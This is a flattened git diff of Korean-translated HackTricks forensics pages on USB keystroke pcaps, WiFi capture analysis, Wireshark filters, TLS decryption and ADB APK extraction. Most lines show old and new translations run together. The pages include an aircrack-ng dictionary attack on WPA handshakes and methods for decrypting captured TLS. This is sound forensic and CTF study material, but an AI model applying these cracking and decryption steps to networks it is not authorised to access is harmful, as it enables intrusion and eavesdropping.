* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 제출하세요.
</details> </details>
{% endhint %}
만약 다음과 같은 키보드의 USB 통신을 포함한 pcap 파일이 있다면: USB를 통한 키보드 통신이 포함된 pcap 파일이 있다면, 다음과 같은 도구를 사용할 수 있습니다:
![](<../../../.gitbook/assets/image (962).png>) ![](<../../../.gitbook/assets/image (962).png>)
통신에서 작성된 내용을 얻기 위해 [**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser) 도구를 사용할 수 있습니다. [**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser) 도구를 사용하여 통신에서 작성된 내용을 확인할 수 있습니다:
```bash ```bash
tshark -r ./usb.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt tshark -r ./usb.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt
python3 usbkeyboard.py ./keystrokes.txt python3 usbkeyboard.py ./keystrokes.txt
``` ```
다음 위치에서이를 분석하는 방법에 대한 자세한 정보 및 스크립트를 찾을 수 있습니다: 더 많은 정보와 이를 분석하는 방법에 대한 스크립트를 찾으려면 다음을 참조하세요:
* [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4) * [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4)
* [https://github.com/tanc7/HacktheBox\_Deadly\_Arthropod\_Writeup](https://github.com/tanc7/HacktheBox\_Deadly\_Arthropod\_Writeup) * [https://github.com/tanc7/HacktheBox\_Deadly\_Arthropod\_Writeup](https://github.com/tanc7/HacktheBox\_Deadly\_Arthropod\_Writeup)
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 제로에서 영웅까지 AWS 해킹 배우기</strong></summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사를 HackTricks에서 광고하거나 PDF로 HackTricks를 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com) 받기
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하십시오. 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks** 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
</details> </details>
{% endhint %}

View file

@ -1,63 +1,67 @@
# Wifi Pcap 분석 # Wifi Pcap Analysis
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary> <summary>Support HackTricks</summary>
HackTricks를 지원하는 다른 방법: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **회사를 HackTricks에서 광고**하거나 **HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details> </details>
{% endhint %}
## BSSID 확인 ## Check BSSIDs
WireShark를 사용하여 Wifi 주요 트래픽을 포함하는 캡처를 받았을 때, _Wireless --> WLAN Traffic_를 사용하여 캡처의 모든 SSID를 조사할 수 있습니다: Wireshark를 사용하여 주된 트래픽이 Wifi인 캡처를 수신하면 _Wireless --> WLAN Traffic_을 통해 캡처의 모든 SSID를 조사할 수 있습니다:
![](<../../../.gitbook/assets/image (106).png>) ![](<../../../.gitbook/assets/image (106).png>)
![](<../../../.gitbook/assets/image (492).png>) ![](<../../../.gitbook/assets/image (492).png>)
### 브루트 포스 ### Brute Force
해당 화면의 열 중 하나는 **pcap 내에서 인증이 발견되었는지 여부**를 나타냅니다. 그렇다면 `aircrack-ng`를 사용하여 브루트 포스를 시도할 수 있습니다: 해당 화면의 열 중 하나는 **pcap 내에서 인증이 발견되었는지 여부**를 나타냅니다. 만약 그렇다면 `aircrack-ng`를 사용하여 Brute force를 시도할 수 있습니다:
```bash ```bash
aircrack-ng -w pwds-file.txt -b <BSSID> file.pcap aircrack-ng -w pwds-file.txt -b <BSSID> file.pcap
``` ```
예를 들어, 나중에 트래픽을 복호화하는 데 필요한 PSK(사전 공유 키)를 보호하는 WPA 비밀번호를 검색합니다.
## 비콘 / 사이드 채널의 데이터 ## 비콘 / 사이드 채널의 데이터
예를 들어 **Wifi 네트워크의 비콘 내에서 데이터가 유출되고 있다고 의심**하는 경우 다음과 같은 필터를 사용하여 네트워크의 비콘을 확인할 수 있습니다: `wlan contains <NAMEofNETWORK>`, 또는 `wlan.ssid == "NAMEofNETWORK"` 필터링된 패킷 내에서 의심스러운 문자열을 찾습니다. **WiFi 네트워크의 비콘 내부에서 데이터가 유출되고 있다고 의심되는 경우** 다음과 같은 필터를 사용하여 네트워크의 비콘을 확인할 수 있습니다: `wlan contains <NAMEofNETWORK>` 또는 `wlan.ssid == "NAMEofNETWORK"` 필터링된 패킷 내에서 의심스러운 문자열을 검색합니다.
## Wifi 네트워크에서 알 수 없는 MAC 주소 찾기 ## WiFi 네트워크에서 알 수 없는 MAC 주소 찾기
다음 링크는 **Wifi 네트워크 내에서 데이터를 보내는 기기를 찾는 데 유용**합니다: 다음 링크는 **WiFi 네트워크 내에서 데이터를 전송하는 기계**를 찾는 데 유용합니다:
* `((wlan.ta == e8:de:27:16:70:c9) && !(wlan.fc == 0x8000)) && !(wlan.fc.type_subtype == 0x0005) && !(wlan.fc.type_subtype ==0x0004) && !(wlan.addr==ff:ff:ff:ff:ff:ff) && wlan.fc.type==2` * `((wlan.ta == e8:de:27:16:70:c9) && !(wlan.fc == 0x8000)) && !(wlan.fc.type_subtype == 0x0005) && !(wlan.fc.type_subtype ==0x0004) && !(wlan.addr==ff:ff:ff:ff:ff:ff) && wlan.fc.type==2`
이미 알고 있는 **MAC 주소가 있다면 출력에서 제거**하려면 다음과 같은 확인 사항을 추가하십시오: `&& !(wlan.addr==5c:51:88:31:a0:3b)` 이미 **MAC 주소를 알고 있다면 출력에서 제거할 수 있습니다** 다음과 같은 체크를 추가하여: `&& !(wlan.addr==5c:51:88:31:a0:3b)`
네트워크 내에서 통신하는 **알 수 없는 MAC 주소를 감지**한 후 다음과 같은 **필터**를 사용할 수 있습니다: `wlan.addr==<MAC 주소> && (ftp || http || ssh || telnet)` ftp/http/ssh/telnet 필터는 트래픽을 해독했다면 유용합니다. 네트워크 내에서 통신하는 **알 수 없는 MAC** 주소를 감지한 후, **필터**를 사용하여 다음과 같이 트래픽을 필터링할 수 있습니다: `wlan.addr==<MAC address> && (ftp || http || ssh || telnet)` ftp/http/ssh/telnet 필터는 트래픽을 복호화한 경우에 유용합니다.
## 트래픽 해독 ## 트래픽 복호화
편집 --> 환경 설정 --> 프로토콜 --> IEEE 802.11--> 편집 Edit --> Preferences --> Protocols --> IEEE 802.11--> Edit
![](<../../../.gitbook/assets/image (499).png>) ![](<../../../.gitbook/assets/image (499).png>)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
HackTricks를 지원하는 다른 방법: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **HackTricks****HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 요령을 공유**하세요.
</details> </details>
{% endhint %}

View file

@ -1,92 +1,93 @@
# Wireshark 트릭 # Wireshark tricks
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
HackTricks를 지원하는 다른 방법: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **회사를 HackTricks에서 광고하거나 PDF로 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details> </details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io) ### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io)**다크 웹**을 통해 **무료** 기능을 제공하는 검색 엔진으로, 회사나 고객이 **스틸러 악성 소프트웨어**에 의해 **침해**되었는지 확인할 수 있습니다. [**WhiteIntel**](https://whiteintel.io)**다크 웹** 기반의 검색 엔진으로, 기업이나 고객이 **stealer malwares**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
WhiteIntel의 주요 목표는 정보 도난 악성 소프트웨어로 인한 계정 탈취 및 랜섬웨어 공격을 막는 것입니다. WhiteIntel의 주요 목표는 정보 탈취 악성 소프트웨어로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
그들의 웹사이트를 확인하고 **무료**로 엔진을 시도해 볼 수 있습니다: 그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
{% embed url="https://whiteintel.io" %} {% embed url="https://whiteintel.io" %}
*** ***
## Wireshark 스킬 향상 ## Improve your Wireshark skills
### 튜토리얼 ### Tutorials
다음 튜토리얼은 멋진 기본 트릭을 배우는 데 훌륭합니다: 다음 튜토리얼은 멋진 기본 트릭을 배우기에 훌륭합니다:
* [https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/](https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/) * [https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/](https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/)
* [https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/](https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/) * [https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/](https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/)
* [https://unit42.paloaltonetworks.com/using-wireshark-identifying-hosts-and-users/](https://unit42.paloaltonetworks.com/using-wireshark-identifying-hosts-and-users/) * [https://unit42.paloaltonetworks.com/using-wireshark-identifying-hosts-and-users/](https://unit42.paloaltonetworks.com/using-wireshark-identifying-hosts-and-users/)
* [https://unit42.paloaltonetworks.com/using-wireshark-exporting-objects-from-a-pcap/](https://unit42.paloaltonetworks.com/using-wireshark-exporting-objects-from-a-pcap/) * [https://unit42.paloaltonetworks.com/using-wireshark-exporting-objects-from-a-pcap/](https://unit42.paloaltonetworks.com/using-wireshark-exporting-objects-from-a-pcap/)
### 분석된 정보 ### Analysed Information
**전문가 정보** **Expert Information**
_Analyze_ --> **Expert Information**을 클릭하면 **분석된** 패킷에서 일어나는 일에 대한 **개요**를 얻을 수 있습니다: _**Analyze** --> **Expert Information**_을 클릭하면 분석된 패킷에서 발생하는 일에 대한 **개요**를 볼 수 있습니다:
![](<../../../.gitbook/assets/image (256).png>) ![](<../../../.gitbook/assets/image (256).png>)
**해결된 주소** **Resolved Addresses**
_Statistics --> 해결된 주소_ 아래에서 wireshark에 의해 **해결된** 여러 **정보**를 찾을 수 있습니다. 포트/전송에서 프로토콜, MAC에서 제조업체 등이 포함됩니다. 통신에 관련된 것을 알아두는 것이 흥미로울 수 있습니다. _**Statistics --> Resolved Addresses**_ 아래에서 Wireshark에 의해 "**해결**"된 여러 **정보**를 찾을 수 있습니다. 예를 들어 포트/전송 프로토콜, MAC에서 제조사 등입니다. 통신에 관련된 내용을 아는 것은 흥미롭습니다.
![](<../../../.gitbook/assets/image (893).png>) ![](<../../../.gitbook/assets/image (893).png>)
**프로토콜 계층 구조** **Protocol Hierarchy**
_Statistics --> 프로토콜 계층 구조_ 아래에서 통신에 관련된 **프로토콜**을 찾을 수 있으며 해당 프로토콜에 대한 데이터도 제공됩니다. _**Statistics --> Protocol Hierarchy**_ 아래에서 통신에 관련된 **프로토콜**과 그에 대한 데이터를 찾을 수 있습니다.
![](<../../../.gitbook/assets/image (586).png>) ![](<../../../.gitbook/assets/image (586).png>)
**대화** **Conversations**
_Statistics --> 대화_ 아래에서 통신에서의 **대화 요약**과 해당 데이터를 찾을 수 있습니다. _**Statistics --> Conversations**_ 아래에서 통신의 **대화 요약**과 그에 대한 데이터를 찾을 수 있습니다.
![](<../../../.gitbook/assets/image (453).png>) ![](<../../../.gitbook/assets/image (453).png>)
**엔드포인트** **Endpoints**
_Statistics --> 엔드포인트_ 아래에서 통신에서의 **엔드포인트 요약**과 각각에 대한 데이터를 찾을 수 있습니다. _**Statistics --> Endpoints**_ 아래에서 통신의 **엔드포인트 요약**과 각 엔드포인트에 대한 데이터를 찾을 수 있습니다.
![](<../../../.gitbook/assets/image (896).png>) ![](<../../../.gitbook/assets/image (896).png>)
**DNS 정보** **DNS info**
_Statistics --> DNS_ 아래에서 캡처된 DNS 요청에 대한 통계를 찾을 수 있습니다. _**Statistics --> DNS**_ 아래에서 캡처된 DNS 요청에 대한 통계를 찾을 수 있습니다.
![](<../../../.gitbook/assets/image (1063).png>) ![](<../../../.gitbook/assets/image (1063).png>)
**I/O 그래프** **I/O Graph**
_Statistics --> I/O 그래프_ 아래에서 통신의 **그래프**를 찾을 수 있습니다. _**Statistics --> I/O Graph**_ 아래에서 통신의 **그래프**를 찾을 수 있습니다.
![](<../../../.gitbook/assets/image (992).png>) ![](<../../../.gitbook/assets/image (992).png>)
### 필터 ### Filters
여기서 프로토콜에 따라 wireshark 필터를 찾을 수 있습니다: [https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\ 여기에서 프로토콜에 따라 Wireshark 필터를 찾을 수 있습니다: [https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\
다른 흥미로운 필터: 기타 흥미로운 필터:
* `(http.request or ssl.handshake.type == 1) and !(udp.port eq 1900)` * `(http.request or ssl.handshake.type == 1) and !(udp.port eq 1900)`
* HTTP 및 초기 HTTPS 트래픽 * HTTP 및 초기 HTTPS 트래픽
@ -95,62 +96,63 @@ _Statistics --> I/O 그래프_ 아래에서 통신의 **그래프**를 찾을
* `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002 or dns) and !(udp.port eq 1900)` * `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002 or dns) and !(udp.port eq 1900)`
* HTTP 및 초기 HTTPS 트래픽 + TCP SYN + DNS 요청 * HTTP 및 초기 HTTPS 트래픽 + TCP SYN + DNS 요청
### 검색 ### Search
세션의 **패킷** 내에서 **콘텐츠**를 **검색**하려면 _CTRL+f_를 누르세요. 오른쪽 버튼을 누르고 열 편집을 눌러 주요 정보 표시줄에 새 레이어를 추가할 수 있습니다 (번호, 시간, 출처 등). 세션의 **패킷** 내에서 **내용**을 **검색**하려면 _CTRL+f_를 누르십시오. 오른쪽 버튼을 눌러서 편집 열을 추가하여 기본 정보 바(No., Time, Source 등)에 새로운 레이어를 추가할 수 있습니다.
### 무료 pcap 랩 ### Free pcap labs
**무료 도전 과제로 연습하세요:** [**https://www.malware-traffic-analysis.net/**](https://www.malware-traffic-analysis.net) **무료 챌린지로 연습하세요:** [**https://www.malware-traffic-analysis.net/**](https://www.malware-traffic-analysis.net)
## 도메인 식별 ## Identifying Domains
Host HTTP 헤더를 표시하는 열을 추가할 수 있습니다: Host HTTP 헤더를 보여주는 열을 추가할 수 있습니다:
![](<../../../.gitbook/assets/image (639).png>) ![](<../../../.gitbook/assets/image (639).png>)
발신 HTTPS 연결에서 서버 이름을 추가하는 열을 추가할 수 있습니다 (**ssl.handshake.type == 1**): 그리고 시작 HTTPS 연결에서 서버 이름을 추가하는 열을 추가할 수 있습니다 (**ssl.handshake.type == 1**):
![](<../../../.gitbook/assets/image (408) (1).png>) ![](<../../../.gitbook/assets/image (408) (1).png>)
## 로컬 호스트 이름 식별 ## Identifying local hostnames
### DHCP에서 ### From DHCP
현재 Wireshark에서는 `bootp` 대신 `DHCP`를 검색해야 합니다. 현재 Wireshark에서는 `bootp` 대신 `DHCP`를 검색해야 합니다.
![](<../../../.gitbook/assets/image (1013).png>) ![](<../../../.gitbook/assets/image (1013).png>)
### NBNS에서 ### From NBNS
![](<../../../.gitbook/assets/image (1003).png>) ![](<../../../.gitbook/assets/image (1003).png>)
## TLS 해독 ## Decrypting TLS
### 서버 개인 키로 https 트래픽 해독 ### Decrypting https traffic with server private key
_편집>환경설정>프로토콜>ssl>_ _edit>preference>protocol>ssl>_
![](<../../../.gitbook/assets/image (1103).png>) ![](<../../../.gitbook/assets/image (1103).png>)
_Edit_을 누르고 서버 및 개인 키의 모든 데이터를 추가하세요 (_IP, 포트, 프로토콜, 키 파일 및 암호_) 서버의 모든 데이터와 개인 키 (_IP, Port, Protocol, Key file and password_)를 추가하려면 _Edit_를 누르십시오.
### 대칭 세션 키로 https 트래픽 해독 ### Decrypting https traffic with symmetric session keys
Firefox와 Chrome은 TLS 세션 키를 기록할 수 있으며, 이를 Wireshark와 함께 사용하여 TLS 트래픽을 해독할 수 있습니다. 이를 통해 안전한 통신의 심층 분석이 가능해집니다. 이 해독을 수행하는 방법에 대한 자세한 내용은 [Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/)의 가이드에서 찾을 수 있습니다. Firefox와 Chrome 모두 TLS 세션 키를 기록할 수 있는 기능이 있으며, 이를 Wireshark와 함께 사용하여 TLS 트래픽을 복호화할 수 있습니다. 이를 통해 보안 통신에 대한 심층 분석이 가능합니다. 이 복호화를 수행하는 방법에 대한 자세한 내용은 [Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/)의 가이드에서 확인할 수 있습니다.
이를 감지하려면 환경 내에서 `SSLKEYLOGFILE` 변수를 검색하세요 이를 감지하려면 환경 내에서 변수 `SSLKEYLOGFILE`을 검색하십시오.
공유 키 파일은 다음과 같이 보일 것입니다: 공유 키 파일은 다음과 같이 보일 것입니다:
![](<../../../.gitbook/assets/image (820).png>) ![](<../../../.gitbook/assets/image (820).png>)
Wireshark에 이를 가져오려면 \_편집 > 환경설정 > 프로토콜 > ssl >로 이동하여 (Pre)-Master-Secret 로그 파일 이름에 가져옵니다: Wireshark에 이를 가져오려면 _edit > preference > protocol > ssl >_로 가서 (Pre)-Master-Secret 로그 파일 이름에 가져오십시오:
![](<../../../.gitbook/assets/image (989).png>) ![](<../../../.gitbook/assets/image (989).png>)
## ADB 통신
APK가 전송된 ADB 통신에서 APK를 추출하세요: ## ADB communication
APK가 전송된 ADB 통신에서 APK를 추출합니다:
```python ```python
from scapy.all import * from scapy.all import *
@ -181,24 +183,25 @@ f.close()
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io)**다크 웹**을 기반으로 한 검색 엔진으로, 회사나 그 고객이 **스틸러 악성 소프트웨어**에 의해 **침해**당했는지 확인할 수 있는 **무료** 기능을 제공합니다. [**WhiteIntel**](https://whiteintel.io)**다크 웹** 기반의 검색 엔진으로, 기업이나 고객이 **스틸러 맬웨어**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
WhiteIntel의 주요 목표는 정보를 도난하는 악성 소프트웨어로 인한 계정 탈취와 랜섬웨어 공격을 막는 것입니다. WhiteIntel의 주요 목표는 정보 탈취 맬웨어로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
그들의 웹사이트를 방문하여 **무료**로 엔진을 시험해 볼 수 있습니다: 그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
{% embed url="https://whiteintel.io" %} {% embed url="https://whiteintel.io" %}
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로부터 영웅이 되는 AWS 해킹을 배우세요!</summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **HackTricks에 귀사를 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)**이나 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks****HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details> </details>
{% endhint %}

View file

@ -1,28 +1,29 @@
# 컴파일된 파이썬 이진 파일 (exe, elf)의 디컴파일 - .pyc에서 검색 # 컴파일된 파이썬 바이너리( exe, elf) 디컴파일 - .pyc에서 가져오기
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 **제로부터 영웅이 되는 AWS 해킹 배우기**</summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
